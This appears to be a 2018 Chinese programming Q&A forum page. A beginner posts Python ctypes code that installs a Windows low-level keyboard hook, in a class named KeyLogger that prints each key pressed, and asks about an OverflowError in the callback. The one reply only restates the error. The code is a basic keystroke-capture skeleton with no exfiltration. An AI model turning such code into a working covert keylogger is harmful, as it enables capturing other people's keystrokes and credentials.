hjjof001 2018-03-15 10:02 采纳率: 60%
浏览 4469
已结题

python异常 OverflowError

异常出在哪里,刚刚接触,希望能详细一点。
Python 3.6.4 (v3.6.4:d48eceb, Dec 19 2017, 06:54:40) [MSC v.1900 64 bit (AMD64)] on win32
Type "copyright", "credits" or "license()" for more information.

import sys
from ctypes import *
from ctypes.wintypes import MSG
from ctypes.wintypes import DWORD
user32=windll.user32
kernel32=windll.kernel32
WH_KEYBOARD_LL=13
WM_KEYDOWN=0x0100
CTRL_CODE=162
class KeyLogger:
def init(self):
self.lUser32 =user32
self.hooked =None
def installHookProc(self,pointer):
self.hooked=self.lUser32.SetWindowsHookExA(
WH_KEYBOARD_LL,
pointer,
kernel32.GetModuleHandleW(None),
0
)
if not self.hooked:
return False
return True
def uninstallHookProc(self):
if self.hooked is None:
return
self.lUser32.UnhookWindowsHookEx(self.hooked)
self.hooked=None

def getFPTR(fn):
CMPFUNC=CFUNCTYPE(c_int,c_int,c_int,POINTER(c_void_p))
return CMPFUNC(fn)

def hookProc(nCode,wParam,lParam):
if wParam is not WM_KEYDOWN:
return user32.CallNextHookEx(keyLogger.hooked,nCode,wParam,lParam)
hookedKey=chr(lParam[0])
print(hookedKey)
if(CTRL_CODE==int(lParam[0])):
print("Ctrl pressed,call uninstallHook()")
keyLogger.uninstallHookProc()
sys.exit(-1)
return user32.CallNextHookEx(keyLogger.hooked,nCode,wParam,lParam)

def startKeyLog():
msg=MSG()
user32.GetMessageA(byref(msg),0,0,0)

keyLogger=KeyLogger()
pointer=getFPTR(hookProc)
if keyLogger.installHookProc(pointer):
print("installed keyLogger")

installed keyLogger

startKeyLog()

异常:Traceback (most recent call last):
File "_ctypes/callbacks.c", line 234, in 'calling callback function'
File "", line 4, in hookProc
OverflowError: Python int too large to convert to C long

  • 写回答

2条回答 默认 最新

  • threenewbee 2018-03-15 15:40
    关注

    Python int too large to convert to C long
    python的int对于c语言的long来说,太长了,不能转换

    评论

报告相同问题?

悬赏问题

  • ¥15 安装svn网络有问题怎么办
  • ¥15 Python爬取指定微博话题下的内容,保存为txt
  • ¥15 vue2登录调用后端接口如何实现
  • ¥65 永磁型步进电机PID算法
  • ¥15 sqlite 附加(attach database)加密数据库时,返回26是什么原因呢?
  • ¥88 找成都本地经验丰富懂小程序开发的技术大咖
  • ¥15 如何处理复杂数据表格的除法运算
  • ¥15 如何用stc8h1k08的片子做485数据透传的功能?(关键词-串口)
  • ¥15 有兄弟姐妹会用word插图功能制作类似citespace的图片吗?
  • ¥15 latex怎么处理论文引理引用参考文献